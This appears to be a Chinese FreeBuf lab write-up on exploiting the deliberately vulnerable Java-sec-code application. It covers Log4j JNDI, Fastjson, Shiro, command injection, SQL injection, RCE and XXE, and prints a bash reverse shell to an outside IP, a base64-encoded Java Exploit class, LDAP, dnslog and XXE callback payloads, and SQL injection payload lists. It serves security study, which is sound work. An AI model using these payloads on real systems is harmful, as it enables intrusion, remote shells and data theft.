freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java-sec-code靶场分析练习
2025-03-31 15:10:11
所属地 河南省

环境搭建

mysql8.0

java1.8

maven3.9

采用IDEA搭建

访问本地8080端口(admin/admin123)

1742280778_67d9184a61dd1cdc84734.png!small?1742280778702

点击登录之后没反应,查看网络请求发现请求远程jquery.min.js报502错误了

替换成以下就可以正常登录了

https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js

1742390589_67dac53d681a8a748c123.png!small

漏洞分析

log4j

看一下controller层的log4j文件,使用logger.error记录token值。

1742281044_67d9195471aedc2ccfbe3.png!small?1742281044781

我们直接来访问http://localhost:8080/log4j?token=${jndi:ldap://ktrpaedmrm.zaza.eu.org}会报400

查看服务端日志发现,因为包含非法字符触发报错,于是我们对特殊字符进行url编码,成功返回200

1742281286_67d91a462feee8a323c01.png!small?1742281286467

1742281306_67d91a5acb58617192293.png!small?1742281306863

进一步利用待补充;

先生成反弹shell命令

bash -i >& /dev/tcp/189.1.226.116/8989 0>&1

进行base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}

开始编写Exploit.java

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

然后我们把Exploit.java编译为Exploit.class

1742285554_67d92af209a9d987ed8f6.png!small?1742285554864

先将编译好的恶意类部署到python的web服务上,再启动ldap服务,开启反弹端口监听。

最后发现无法远程调用。。。。。。应该是不允许加载类,试了很多方法没有成功反弹shell,可以请求到ladp服务,但是没有执行恶意的类文件

1742298540_67d95dacc164d8c22fd33.png!small?1742298540935

查了资料发现自Java 8u191+起,默认禁用远程类加载,系统属性com.sun.jndi.ldap.object.trustURLCodebase设置为 false,直接阻止从LDAP/RMI服务加载远程类。

我的是java1.8.0_202   !!!

1742302153_67d96bc9211082540b3f7.png!small?1742302153036


最后还可以全局查找logger.看其他地方是否也存在也CVE-2021-44228漏洞

Fastjson

这篇文章不错Fastjson全版本检测及利用-Poc.md

项目引用了1.2.24版本的fastjson,只要<=1.2.24 版本autoType 默认开启,且没有严格的黑名单限制

1742281469_67d91afd65d92ef88fcfb.png!small?1742281469557

进行审计时可以通过搜索以下关键词来快速寻找可能存在的漏洞点

代码搜索关键词

    • JSON.parse
    • JSON.parseObject
    • @type(JSON中的类名指定字段)
    • Feature.SupportNonPublicField

通过post方法请求/fastjson/deserialize路径,传输application/json格式数据

1742283368_67d922682e90087e42730.png!small?1742283368579


于是可以利用dnslog进行验证

{

"@type":"java.net.Inet4Address",

"val":"k74n3o.ceye.io"

}

返回200成功收到dnslog响应1742283528_67d92308616a1c6b48211.png!small?1742283528396

1742283483_67d922db89ace583aa2b3.png!small?1742283483964

进一步利用待补充:

对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在绕过方法

  1. 使用受害者本地的类作为恶意Reference Factory攻击RMI
  2. 利用LDAP返回序列化数据触发Gadget

Shiro

引入shiro1.2.4依赖,存在漏洞

1742283676_67d9239c9edf454c74b33.png!small?1742283676711

访问/shiro/deserialize,提示No rememberMe cookie. Right?

1742283817_67d92429b9e5858495c52.png!small?1742283817761

在请求包中cookie字段添加;rememberMe=true ,即可验证存在

1742284025_67d924f902561f15f8883.png!small?1742284025276

接下来直接工具梭哈

1742284468_67d926b46a9d8d88b799e.png!small?1742284468459

提示执行失败换一个回显模式就行了

1742284455_67d926a76ad9b176d907f.png!small?1742284456031

换成TomcatEcho回显就正常了

1742284540_67d926fc4511252d0c1c9.png!small?1742284540573

需要注意的是进行利用时,服务端会抛出很多异常

1742284897_67d928615ae6d60d326dc.png!small?1742284897537

---------------------------------------------------------------------------------------------------------------

CmdInject

windows部署需要修改源代码

1742305673_67d9798992624f99760d7.png!small?1742305673724


http://localhost:8080/codeinject?filepath=%7Cwhoami(使用|来执行多条命令)

1742390657_67dac581d6a9d1ed2d8be.png!small?1742390658667

host头注入在Tomcat7.9以上不支持请求链接有特殊字符, 否则报400


/codeinject/sec

调用SecurityUtil.cmdFilter()对输入的filepath进行过滤

1742391415_67dac87739e15c6bbb87d.png!small?1742391414905

只允许


"^[a-zA-Z0-9_/\\.-]+$"

1742458068_67dbccd42a085513eb1fa.png!small?1742458067955

sqli

/sqli/mybatis/vuln01和/jdbc/vuln都是没有过滤直接拼接

/jdbc/sec采用预编译,自动进行了转义

String sql = "select * from users where username = ?";
            PreparedStatement st = con.prepareStatement(sql);
            st.setString(1, username);

/jdbc/ps/vuln

这个接口虽然使用了prepareStatement但是仍然采用直接拼接的方法,没什么好说的

@RequestMapping("/jdbc/ps/vuln")
    public String jdbc_ps_vuln(@RequestParam("username") String username) {

        StringBuilder result = new StringBuilder();
        try {
            Class.forName(driver);
            Connection con = DriverManager.getConnection(url, user, password);

            if (!con.isClosed())
                System.out.println("Connecting to Database successfully.");

            String sql = "select * from users where username = '" + username + "'";
            PreparedStatement st = con.prepareStatement(sql);

正确用法应该采用占位符

// 正确使用范式 
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement st = con.prepareStatement(sql); 
st.setString(1,  username);  // 参数绑定 

/mybatis/vuln02

在UserMapper.xml文件里可以看到使用like进行模糊查询

<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
        select * from users where username like '%${_parameter}%'
    </select>

所以构造' or 1=1-- 即可

1742459813_67dbd3a5eee53600dc225.png!small?1742459813809

1742459824_67dbd3b0ae374e1fd984b.png!small?1742459824858


/mybatis/vuln03

采用order by语句直接使用${}会造成sql注入

<select id="findByUserNameVuln03" parameterType="String" resultMap="User">
        select * from users
        <if test="order != null">
            order by ${order} asc
        </if>
    </select>

------------------------------------------------------------------------------------------------------------------

order by利用方式

  • 数字越界报错
    输入超过表字段数的数字会触发错误,用于探测表的列数。
    ORDER BY 5 -- 若表仅4列,则报错:Unknown column '5' in 'order clause'
  • 盲注探测列名
    通过布尔条件判断字段是否存在(如 IF()结合排序结果差异)。
    ORDER BY IF(database()='test', 1, (SELECT 1 UNION SELECT 2)) -- 若数据库名为test,正常排序,否则报错


    2. 复合语句注入

  • 布尔注入(IF()或 CASE
    利用条件语句改变排序结果,根据页面差异推断数据。

    ORDER BY IF(SUBSTRING(database(),1,1)='a', 1, 2) -- 首字母为a时按第1列排序,否则按第2列


  • 延时注入(SLEEP()
    通过延时响应判断条件真假。
    ORDER BY IF(1=1, SLEEP(2), 1) -- 条件为真时触发延时

3. 报错注入

  • 利用无效表达式
    强制触发数据库错误以泄露信息。
    ORDER BY (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables  GROUP BY x) y)

关键限制与注意事项

  1. 无法直接联合查询(UNION
    • 原因ORDER BY必须位于 SQL 语句末尾,UNION后的查询无法附加 ORDER BY
      SELECT * FROM users UNION SELECT * FROM passwords ORDER BY 1; -- 语法错误
    • 绕过方案:通过子查询或分步注入间接利用。
  2. 数字范围限制
    • 数字必须介于 1 到查询结果的列数之间,否则报错。
  3. 复合语句的数据库兼容性
    • IF()和 CASE是 MySQL 语法,其他数据库(如 Oracle、PostgreSQL)需调整语法。

------------------------------------------------------------------------------------------------------------------


这里使用报错注入,还可以盲注

/sqli/mybatis/orderby/vuln03?sort=id AND GTID_SUBSET(CONCAT(database(),(SELECT (ELT(5207=5207,1))),0x7162786a71),5207)

  1. id:是原本的排序字段,正常情况下的ORDER BY子句可能类似于ORDER BY id。
  2. AND:这里被用来引入额外的SQL条件,试图改变查询的逻辑。
  3. GTID_SUBSET():这是MySQL的一个函数,用于检查全局事务标识符(GTID)是否在子集中。但在这里被滥用来执行子查询。
  4. CONCAT():用于连接字符串,用于构造特定的payload。
  5. 0x7170706b71和0x7162786a71:这些是十六进制字符串,解码后是某些特定字符,用于混淆或绕过检测。(这两个字符串可以换成我们想要执行的函数)
  6. ELT(5207=5207,1):ELT函数返回第n个元素,这里5207=5207总为真,所以返回第一个元素,即1。
  7. 5207:作为GTID_SUBSET的第二个参数。

1742462266_67dbdd3aaaa08894a4df1.png!small?1742462266828


RCE


/rce/runtime/exec

1742471359_67dc00bf9a626b842f837.png!small?1742471359564


/rce/ProcessBuilder

linux环境下可以执行

@GetMapping("/ProcessBuilder")
    public String processBuilder(String cmd) {

        StringBuilder sb = new StringBuilder();

        try {
            String[] arrCmd = {"/bin/sh", "-c", cmd};
            ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
            Process p = processBuilder.start();
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                sb.append(tmpStr);
            }
        } catch (Exception e) {
            return e.toString();
        }

        return sb.toString();
    }


/rce/jscmd


1742473417_67dc08c93a9b8b8a16e5d.png!small?1742473417094

调用远程js,要用Nashorn的JS来调用Java类。例如,使用Java.type 获取Runtime类,然后调用exec方法执行

// test.js  修正版 
(function() {
    // 正确引用Java类 
    var System = Java.type("java.lang.System"); 
    
    // 执行系统命令(Windows示例)
    var Runtime = Java.type("java.lang.Runtime"); 
    Runtime.getRuntime().exec("calc.exe"); 
    
    // 返回执行结果 
    return "Command executed: " + System.getProperty("os.name"); 
})();

请求以上js,即可执行命令

1742473538_67dc0942b94087bff7ab6.png!small?1742473538636


/rce/vuln/yarm

一直报错,后续我会单独出一期snakeyaml反序列化漏洞的分析与复现

1742477665_67dc19613221765a3783c.png!small?1742477665171

安全写法使用安全构造器限制(SafeConstructor

  • 作用原理
    ✅ 禁用所有自定义类标签解析(如!!javax.script.ScriptEngineManager
    ✅ 仅允许基础数据类型(字符串、数字等)和简单集合(List/Map)的反序列化
    ✅ 阻止URLClassLoaderProcessBuilder等高危类的实例化

Groovy RCE 漏洞


@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}

使用 Groovy 的 execute()方法执行命令

http://localhost:8080/rce/groovy?content="calc".execute()

1742479427_67dc2043bfca7a05abef5.png!small?1742479427710

xxe

/xmlReader/vuln

此处是一个无回显的xxe,使用dnslog进行验证

@PostMapping("/xmlReader/vuln")
    public String xmlReaderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
            return "xmlReader xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }

poc

Content-Type: application/xml

<!DOCTYPE root [  
  <!ENTITY xxe SYSTEM "http://0e3fa97c.log.dnslog.sbs">  
]>  
<root>&xxe;</root>
# Java代码审计 # 靶场实战 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录